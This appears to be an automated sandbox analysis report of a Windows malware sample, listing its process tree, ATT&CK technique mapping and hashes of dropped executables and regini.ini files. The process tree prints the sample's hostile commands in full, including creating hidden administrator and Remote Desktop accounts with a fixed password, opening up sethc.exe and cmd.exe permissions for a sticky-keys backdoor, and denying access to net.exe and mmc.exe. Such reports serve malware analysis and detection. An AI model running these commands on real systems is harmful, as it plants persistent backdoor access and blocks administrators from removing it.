C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com1 /add
3⤵
PID:204

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com1 /add
4⤵
PID:176

C:\Windows\SysWOW64\net.exe
net user txj888.com2 398358887 /add
3⤵
PID:1248

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 398358887 /add
4⤵
PID:732

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com2 /add
3⤵
PID:4012

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com2 /add
4⤵
PID:4444

C:\Windows\SysWOW64\net.exe
net user txj888.com2 /active:yes
3⤵
PID:1280

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 /active:yes
4⤵
PID:1848

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com2 /add
3⤵
PID:2856

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com2 /add
4⤵
PID:3572

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:3188

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net.exe /e /c /d everyone
3⤵
PID:3868

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:1228

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net1.exe /e /c /d everyone
3⤵
PID:2988

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 398358887 /add & net localgroup administrators txj888.com0 /add & net user txj888.com0 /active:yes & net user txj888.com1 398358887 /add & net localgroup administrators txj888.com1 /add & net user txj888.com1 /active:yes & net user txj888.com2 398358887 /add & net localgroup administrators txj888.com2 /add & net user txj888.com2 /active:yes &
2⤵
PID:3288

C:\Windows\SysWOW64\net.exe
net user txj888.com0 398358887 /add
3⤵
PID:4480

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 398358887 /add
4⤵
PID:4340

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com0 /add
3⤵
PID:924

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com0 /add
4⤵
PID:1340

C:\Windows\SysWOW64\net.exe
net user txj888.com0 /active:yes
3⤵
PID:5056

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 /active:yes
4⤵
PID:3548

C:\Windows\SysWOW64\net.exe
net user txj888.com1 398358887 /add
3⤵
PID:3432

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 398358887 /add
4⤵
PID:4796

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com1 /add
3⤵
PID:3716

C:\Windows\SysWOW64\net.exe
net user txj888.com1 /active:yes
3⤵
PID:3988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 /active:yes
4⤵
PID:4180

C:\Windows\SysWOW64\net.exe
net user txj888.com2 398358887 /add
3⤵
PID:3160

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 398358887 /add
4⤵
PID:3960

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com2 /add
3⤵
PID:2368

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com2 /add
4⤵
PID:1688

C:\Windows\SysWOW64\net.exe
net user txj888.com2 /active:yes
3⤵
PID:868

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 /active:yes
4⤵
PID:2024

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 /active:yes & & net user txj888.com1 /active:yes & net user txj888.com2 /active:yes &
2⤵
PID:5032

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\sethc.exe /e /t /g everyone:c
2⤵
PID:4800

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\sethc.exe /e /t /g everyone:c
3⤵
PID:4196

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\cmd.exe /e /t /g everyone:c
2⤵
PID:2540

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\cmd.exe /e /t /g everyone:c
3⤵
PID:5068

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\net1.exe /e /t /g everyone:c
2⤵
PID:3424

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net1.exe /e /t /g everyone:c
3⤵
PID:4216

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:2336

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:4364

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1996

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:4656

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:3820

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:2992

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:3040

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:3064

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\net.exe /e /t /g everyone:c
2⤵
PID:2360

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net.exe /e /t /g everyone:c
3⤵
PID:3140

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:4448

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:2432

C:\Windows\SysWOW64\cmd.exe
cmd /c echo y|cacls c:\windows\system32\mmc.exe /e /c /d everyone
2⤵
PID:628

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\mmc.exe /e /c /d everyone
3⤵
PID:2160

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:3192

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 398358887 /add & net localgroup administrators txj888.com0 /add & net user txj888.com0 /active:yes & net localgroup "Remote Desktop Users" txj888.com0 /add & net user txj888.com1 398358887 /add & net localgroup administrators txj888.com1 /add & net user txj888.com1 /active:yes & net localgroup "Remote Desktop Users" txj888.com1 /add & net user txj888.com2 398358887 /add & net localgroup administrators txj888.com2 /add & net user txj888.com2 /active:yes & net localgroup "Remote Desktop Users" txj888.com2 /add & echo y|cacls c:\windows\system32\net.exe /e /c /d everyone & echo y|cacls c:\windows\system32\net1.exe /e /c /d everyone &
2⤵
PID:1756

C:\Windows\SysWOW64\net.exe
net user txj888.com0 398358887 /add
3⤵
PID:4488

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com0 /add
3⤵
PID:1288

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com0 /add
4⤵
PID:1224

C:\Windows\SysWOW64\net.exe
net user txj888.com0 /active:yes
3⤵
PID:4224

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 /active:yes
4⤵
PID:1660

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com0 /add
3⤵
PID:4940

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com0 /add
4⤵
PID:924

C:\Windows\SysWOW64\net.exe
net user txj888.com1 398358887 /add
3⤵
PID:1020

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 398358887 /add
4⤵
PID:1304

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com1 /add
3⤵
PID:4672

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com1 /add
4⤵
PID:3720

C:\Windows\SysWOW64\net.exe
net user txj888.com1 /active:yes
3⤵
PID:3112

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 /active:yes
4⤵
PID:3776

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com1 /add
3⤵
PID:764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com1 /add
4⤵
PID:1412

C:\Windows\SysWOW64\net.exe
net user txj888.com2 398358887 /add
3⤵
PID:1884

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 398358887 /add
4⤵
PID:384

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com2 /add
3⤵
PID:3988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com2 /add
4⤵
PID:2156

C:\Windows\SysWOW64\net.exe
net user txj888.com2 /active:yes
3⤵
PID:216

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 /active:yes
4⤵
PID:3708

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com2 /add
3⤵
PID:4140

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com2 /add
4⤵
PID:3652

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:3160

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net.exe /e /c /d everyone
3⤵
PID:3244

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:4688

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net1.exe /e /c /d everyone
3⤵
PID:2664

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 398358887 /add & net localgroup administrators txj888.com0 /add & net user txj888.com0 /active:yes & net user txj888.com1 398358887 /add & net localgroup administrators txj888.com1 /add & net user txj888.com1 /active:yes & net user txj888.com2 398358887 /add & net localgroup administrators txj888.com2 /add & net user txj888.com2 /active:yes &
2⤵
PID:3412

C:\Windows\SysWOW64\net.exe
net user txj888.com0 398358887 /add
3⤵
PID:1088

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 398358887 /add
4⤵
PID:3184

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com0 /add
3⤵
PID:1432

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com0 /add
4⤵
PID:4372

C:\Windows\SysWOW64\net.exe
net user txj888.com0 /active:yes
3⤵
PID:3948

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 /active:yes
4⤵
PID:4708

C:\Windows\SysWOW64\net.exe
net user txj888.com1 398358887 /add
3⤵
PID:4060

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 398358887 /add
4⤵
PID:1960

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com1 /add
3⤵
PID:5096

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com1 /add
4⤵
PID:4232

C:\Windows\SysWOW64\net.exe
net user txj888.com1 /active:yes
3⤵
PID:4800

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 /active:yes
4⤵
PID:2700

C:\Windows\SysWOW64\net.exe
net user txj888.com2 398358887 /add
3⤵
PID:3832

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 398358887 /add
4⤵
PID:1456

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com2 /add
3⤵
PID:2452

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com2 /add
4⤵
PID:3908

C:\Windows\SysWOW64\net.exe
net user txj888.com2 /active:yes
3⤵
PID:1080

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 /active:yes
4⤵
PID:3168

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 /active:yes & & net user txj888.com1 /active:yes & net user txj888.com2 /active:yes &
2⤵
PID:4464

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\sethc.exe /e /t /g everyone:c
2⤵
PID:4496

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\sethc.exe /e /t /g everyone:c
3⤵
PID:3092

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\cmd.exe /e /t /g everyone:c
2⤵
PID:4908

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\cmd.exe /e /t /g everyone:c
3⤵
PID:4120

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\net1.exe /e /t /g everyone:c
2⤵
PID:3000

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net1.exe /e /t /g everyone:c
3⤵
PID:5068

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:4048

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:5036

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:2368

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:4444

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:4012

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:3492

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1408

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:3504

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:800

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:3900

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:2908

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:4376

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1996

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:392

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1052

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:2992

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\WINDOWS\SysWOW64\svchdsort.exe
Filesize
594KB

MD5
a1c602939ab3d8f7a6b68e7372656a00

SHA1
1111bb57c0914c31d2fd73321d2b248d7f6028b9

SHA256
556873e91dbf86775f2418ff07f4b7421a69675cc59405599a00ade14d609bdb

SHA512
1635e68bda7570d6ffdc070caf96648dd94786651ba50753974612510daecdb3c4d95e70ad2158e707e0b5ed00c2d7e0859b4fe7dbc04e7dbfc9d9280e46665b

Download Submit
C:\WINDOWS\SysWOW64\svchostrr.exe
Filesize
213KB

MD5
99e778905dd0b1b08c8f88acb3daabac

SHA1
2e8a5469881a4d369df6bc55b5d0cec03585670b

SHA256
6b00f2fd492e90b0020272b2a73ea6d92724b1e2cf9270836a44402d4530a74c

SHA512
c1e0eb09a545ad3e16a53abf7fee129436b8f2f51d65b07a275ee969b8ef8f6307d62945b42a84f25df15656edb76860e9fc7a0351b16582811c4be56b08243a

Download Submit
C:\WINDOWS\SysWOW64\svkkk.exe
Filesize
675KB

MD5
15102f3b77c78570656fe680efe7af16

SHA1
3389ddb3eb4e3cd7377996bbea1a634561d3b77f

SHA256
76f2f4cab1a0d3cdc8effb9a605aba21590af24995ea7ea0ca861e03c4c58205

SHA512
84b3b06de5f86e8f2712c3840e414e0c46dc80e7a20dd2da7de3090df24dc5b9c1aa3140c80e26091f0b4e33b52d949f2fbbb7ff89f287f88681b30fcdda5aa1

Download Submit
C:\WINDOWS\SysWOW64\svkkk.exe
Filesize
675KB

MD5
15102f3b77c78570656fe680efe7af16

SHA1
3389ddb3eb4e3cd7377996bbea1a634561d3b77f

SHA256
76f2f4cab1a0d3cdc8effb9a605aba21590af24995ea7ea0ca861e03c4c58205

SHA512
84b3b06de5f86e8f2712c3840e414e0c46dc80e7a20dd2da7de3090df24dc5b9c1aa3140c80e26091f0b4e33b52d949f2fbbb7ff89f287f88681b30fcdda5aa1

Download Submit
C:\WINDOWS\SysWOW64\svkkk.exe
Filesize
675KB

MD5
15102f3b77c78570656fe680efe7af16

SHA1
3389ddb3eb4e3cd7377996bbea1a634561d3b77f

SHA256
76f2f4cab1a0d3cdc8effb9a605aba21590af24995ea7ea0ca861e03c4c58205

SHA512
84b3b06de5f86e8f2712c3840e414e0c46dc80e7a20dd2da7de3090df24dc5b9c1aa3140c80e26091f0b4e33b52d949f2fbbb7ff89f287f88681b30fcdda5aa1

Download Submit
C:\WINDOWS\SysWOW64\svkkk.exe
Filesize
675KB

MD5
15102f3b77c78570656fe680efe7af16

SHA1
3389ddb3eb4e3cd7377996bbea1a634561d3b77f

SHA256
76f2f4cab1a0d3cdc8effb9a605aba21590af24995ea7ea0ca861e03c4c58205

SHA512
84b3b06de5f86e8f2712c3840e414e0c46dc80e7a20dd2da7de3090df24dc5b9c1aa3140c80e26091f0b4e33b52d949f2fbbb7ff89f287f88681b30fcdda5aa1

Download Submit
C:\Windows\SysWOW64\svchdsort.exe
Filesize
594KB

MD5
a1c602939ab3d8f7a6b68e7372656a00

SHA1
1111bb57c0914c31d2fd73321d2b248d7f6028b9

SHA256
556873e91dbf86775f2418ff07f4b7421a69675cc59405599a00ade14d609bdb

SHA512
1635e68bda7570d6ffdc070caf96648dd94786651ba50753974612510daecdb3c4d95e70ad2158e707e0b5ed00c2d7e0859b4fe7dbc04e7dbfc9d9280e46665b

Download Submit
C:\Windows\SysWOW64\svchostrr.exe
Filesize
213KB

MD5
99e778905dd0b1b08c8f88acb3daabac

SHA1
2e8a5469881a4d369df6bc55b5d0cec03585670b

SHA256
6b00f2fd492e90b0020272b2a73ea6d92724b1e2cf9270836a44402d4530a74c

SHA512
c1e0eb09a545ad3e16a53abf7fee129436b8f2f51d65b07a275ee969b8ef8f6307d62945b42a84f25df15656edb76860e9fc7a0351b16582811c4be56b08243a

Download Submit
C:\Windows\SysWOW64\svkkk.exe
Filesize
675KB

MD5
15102f3b77c78570656fe680efe7af16

SHA1
3389ddb3eb4e3cd7377996bbea1a634561d3b77f

SHA256
76f2f4cab1a0d3cdc8effb9a605aba21590af24995ea7ea0ca861e03c4c58205

SHA512
84b3b06de5f86e8f2712c3840e414e0c46dc80e7a20dd2da7de3090df24dc5b9c1aa3140c80e26091f0b4e33b52d949f2fbbb7ff89f287f88681b30fcdda5aa1

Download Submit
C:\Windows\SysWOW64\svkkk.exe
Filesize
675KB

MD5
15102f3b77c78570656fe680efe7af16

SHA1
3389ddb3eb4e3cd7377996bbea1a634561d3b77f

SHA256
76f2f4cab1a0d3cdc8effb9a605aba21590af24995ea7ea0ca861e03c4c58205

SHA512
84b3b06de5f86e8f2712c3840e414e0c46dc80e7a20dd2da7de3090df24dc5b9c1aa3140c80e26091f0b4e33b52d949f2fbbb7ff89f287f88681b30fcdda5aa1

Download Submit
C:\Windows\SysWOW64\svkkk.exe
Filesize
675KB

MD5
15102f3b77c78570656fe680efe7af16

SHA1
3389ddb3eb4e3cd7377996bbea1a634561d3b77f

SHA256
76f2f4cab1a0d3cdc8effb9a605aba21590af24995ea7ea0ca861e03c4c58205

SHA512
84b3b06de5f86e8f2712c3840e414e0c46dc80e7a20dd2da7de3090df24dc5b9c1aa3140c80e26091f0b4e33b52d949f2fbbb7ff89f287f88681b30fcdda5aa1

Download Submit
C:\Windows\SysWOW64\svkkk.exe
Filesize
675KB

MD5
15102f3b77c78570656fe680efe7af16

SHA1
3389ddb3eb4e3cd7377996bbea1a634561d3b77f

SHA256
76f2f4cab1a0d3cdc8effb9a605aba21590af24995ea7ea0ca861e03c4c58205

SHA512
84b3b06de5f86e8f2712c3840e414e0c46dc80e7a20dd2da7de3090df24dc5b9c1aa3140c80e26091f0b4e33b52d949f2fbbb7ff89f287f88681b30fcdda5aa1

Download Submit
\??\PIPE\lsarpc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
100B

MD5
cf0957a2b581f63bbbeb848bccd34498

SHA1
aca2729d445bb9a44b9b0e2119a9f37d15cc6b02

SHA256
5f647109b26ced9939514e3505aa1c633b306ca56baca5e6fb41d32523a6492b

SHA512
303e456a46cbe8813f549c2bba38b4ae51dabda37e8a714813fd463bbc07712cb76d9499f3144f1508d40933ac87943551fb8e923412142cfb60c6a629fce34c

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
108B

MD5
ce587d18132d1bfebcf253485639dda3

SHA1
30e369a78820d88a569b0a3122d252cadb27359f

SHA256
b514216568271ad10041613f941f082cb402edaf054f5e4e0731328a420c0c8b

SHA512
7377d94559ae955d839cec54d3627b11ec95450730315a2f7771ad9ef4d122bc7077cac57df2ce14f805e48876568ce279b069acdf1c9ae1f7f6282553a8ae8b

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
112B

MD5
c09d7e0007294bf76698880225807a53

SHA1
c06e8c4c35e0db014e87135b66484ff90c335595

SHA256
e162f28bf04dce41190969fa81597c29d2e8c43d7f8ecc9dc4775ef60e69a049

SHA512
be53393e50aca77c1161cd8a457627069cb648bb553cef0dfd77a850f6224580f24dc4146b9d12539389699e0e9f5a59c9e25801d1f784d55b39979c2a3512aa

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
67B

MD5
f22216db12917a57aad342982b8185e3

SHA1
4a0ae9d3ab6e89303beebabe3df5c58d3e5a08eb

SHA256
1422ac5c2ce55e5f76ac5344572745aa6380e6cb5b40518a525d8f7c1c6c8853

SHA512
38852457f4d836f3feb084f1b2762ce230ec370266de0dff4e19a7742418a71f1b83d218e956ab07eca37ac610205837f2fac9be141be1653d50856b3922eb11

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
105B

MD5
e23285a781f96d8731cc4ff519bff264

SHA1
54aa267dbeaec4a2c0aab2745c1ca19cca4fb8f4

SHA256
06439d828cd146e6ed8adc0d314c8d97ba8d832c7be088e83df0414ed1a727ac

SHA512
76e36e68c64a8fd6cd6350aa40c4475b2060bcb923fca114df51dd9b34dd245df55551fe815e04ea6c74e61ff5021c0733c9a15ad357301ef3cc610d97d77366

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
68B

MD5
df2aee8d0769376c85d18eb8b948a99a

SHA1
2f25db530bfb2fad4c26b2eb5237d46c3f3860b5

SHA256
12d10c85f1964e9f99c7b4766f490433354854daf076bf4838b640af2d83f21f

SHA512
59619ade991c09affd8c4bf979c07ddf14aa494ea15cc5d76745a901618bf12a53fb76f4e6d2b8d31ecb6086b8a61b7cf07b53321ee266199830e4120d7c380c

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
85B

MD5
2c974a2aad008f9318983d187d6a308f

SHA1
0bce599a369d62ebfa22d0cb0f815697b993d6dd

SHA256
803cd942e4ed60a9763eaf4fb08dc4fe853b7028b89e11c479cfad8709585c56

SHA512
254d30054616347bae6d887c1cc0a06684601c4f1664d070bf8b8fe5fc4767a27ddb191968b3d87938c6ab510fea8015c9c2d0c28e316589052a32d37d259fe0

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
105B

MD5
44e1a811c4d007f961e2350156a3838f

SHA1
eb0f88a0d33e3b3997b6ccee0bb8455f9ed3c5ee

SHA256
5b2289b75c84425df283b1bdb623fe6623521885a114856b314781878d9ae859

SHA512
9ea2eb6cb6cd234fe5f0d7b39797d979bac6ffcf1cd8b08f7fb15645125c8e2356a40b78771878164bb151a9b0a9e93e393b4aa2c296b44777824e2fde8b1503

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
110B

MD5
9ee9f57a4c23dfe58e509921f0e2ebad

SHA1
4fd2695010a9cf8abc7ba4ff43f0bb2fd1e6585a

SHA256
17dcc7e9cbf6bdbe2cddcfde710a692a93c152ba9f3bee947ca29204816f18fd

SHA512
647c5c219468e2d7c28672dd17c42df7c8837ea5ab66248680cbf4c7c449cd98d76340bf2183d351c322e7ca83146adfd6c8f5c06dd5aef4f0761f9c91bc9891

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
108B

MD5
db45264946e7c07e01668aac9da68b5d

SHA1
7022709e6151d1919d7d825b7e76eb91cd030df2

SHA256
241bff4cb95779151ad7ca9a91ba30419828e13e1a2d6f07ccabb34052030567

SHA512
b9d906027c532d0f34dde5d0b10901ad531c9a942cd022e179380f54ae887c3244680c54398557e30798cc83c2efa4f21afce1a70e002f0b0c31083859ef4ca4

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
112B

MD5
e76b3fbbd5e9bc7dc704fa502af037e9

SHA1
f1a580cb0b5151f534988b6f6817d09a85bdccd4

SHA256
9fefaa1e8420e2e7b95e9c72c40e32c5d2004bb550ccbd1fd42737c87e841f41

SHA512
ce1d02dd34accf0c60c513cf9836c15d3f43c34cdad6fac7e44e56644197ca0441de00d5c8eb10da5fc52dcca5c6e140c079e091811c485c8d7d7b89d3c782dd

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
110B

MD5
486de3a7525ffb31cbfc02e86a044a9d

SHA1
46eac9f78afc7496e72aa6db9d8e81b26a43deb7

SHA256
7ca3b069952eef8bfe11fd1fb945d37eec2e2aecf02f257772421bfd8f256cc5

SHA512
1eef5840afcb6572fcaa977ae4599219eee3de0ed2f2f00c179945f7f7e06df161b086f115e9cf7be9aec315667eb8c156757aa31cd61ed6430f67451cb8f245

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
100B

MD5
2a2a70007bf2e144f68e60803930a0a3

SHA1
0115d1eb6015d5f0fd73167ca719de8140fde5b9

SHA256
a9d77896913ae520cb49c1b8f00b7f140983997dc2c0662695f5e902ac76e458

SHA512
0f77c3ac9db3634c52dc809a39b3d717826834e329d1210452b1474a8e724cc6e4baa41832af4baf689000ffc9838115f3e555bbeaf0bfc6f7ed5a07cbf7731e

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
30B

MD5
be00ebc460c432b696c14b9ee70ef7e0

SHA1
b03acbe71b6c9fd1517be33ce9cf359a6d282f88

SHA256
835d09ece220dda2be3a12261eff29816981264b171b3688ac7feee819f8f0db

SHA512
8429980612b8869a3cc1f6151ff900ebda88b3d992e8e3f465a8eff1bc34535f46bf311647b35266f44e18a4730279268d620e6e5d9734444595a8f06646b632

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
34B

MD5
a73961a55e8f712c32016e74642c0144

SHA1
b580f4a813a3b48b091826fd42f373a38fbbff55

SHA256
f9bb19c4e7754cc83c0c2c01f958206fb5d1b1b33315a09afc8b241e98010a24

SHA512
6b04449c3f6bc0517694957ba024d9aa899166e8aa4c72bdce2bb9bbb035afc84256afe25766cfc605bb1a5616af1bbe7136b0dfcd19fce3b2083a33bc455735

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
42B

MD5
7e3c47bedeb5caf05be9dc2ec1ca5a71

SHA1
8dd7b9e0a0997ca830e61d7feb9784e43cea8601

SHA256
d28fa8d8d1592905940e81723b2e281d1d039c74f51c78a0790c06f457abe890

SHA512
dde24ab8c2538f680db3e414bfd12b74ec4d321c3075e4411ed83ea1f8f6c0e26c694d491d9dc5c301eacecad533fbe06a7801b48d988bae147a3b54d02fa205

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
30B

MD5
be00ebc460c432b696c14b9ee70ef7e0

SHA1
b03acbe71b6c9fd1517be33ce9cf359a6d282f88

SHA256
835d09ece220dda2be3a12261eff29816981264b171b3688ac7feee819f8f0db

SHA512
8429980612b8869a3cc1f6151ff900ebda88b3d992e8e3f465a8eff1bc34535f46bf311647b35266f44e18a4730279268d620e6e5d9734444595a8f06646b632

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
34B

MD5
a73961a55e8f712c32016e74642c0144

SHA1
b580f4a813a3b48b091826fd42f373a38fbbff55

SHA256
f9bb19c4e7754cc83c0c2c01f958206fb5d1b1b33315a09afc8b241e98010a24

SHA512
6b04449c3f6bc0517694957ba024d9aa899166e8aa4c72bdce2bb9bbb035afc84256afe25766cfc605bb1a5616af1bbe7136b0dfcd19fce3b2083a33bc455735

Download Submit
\??\c:\Windows\SysWOW64\regini.ini
Filesize
42B

MD5
7e3c47bedeb5caf05be9dc2ec1ca5a71

SHA1
8dd7b9e0a0997ca830e61d7feb9784e43cea8601

SHA256
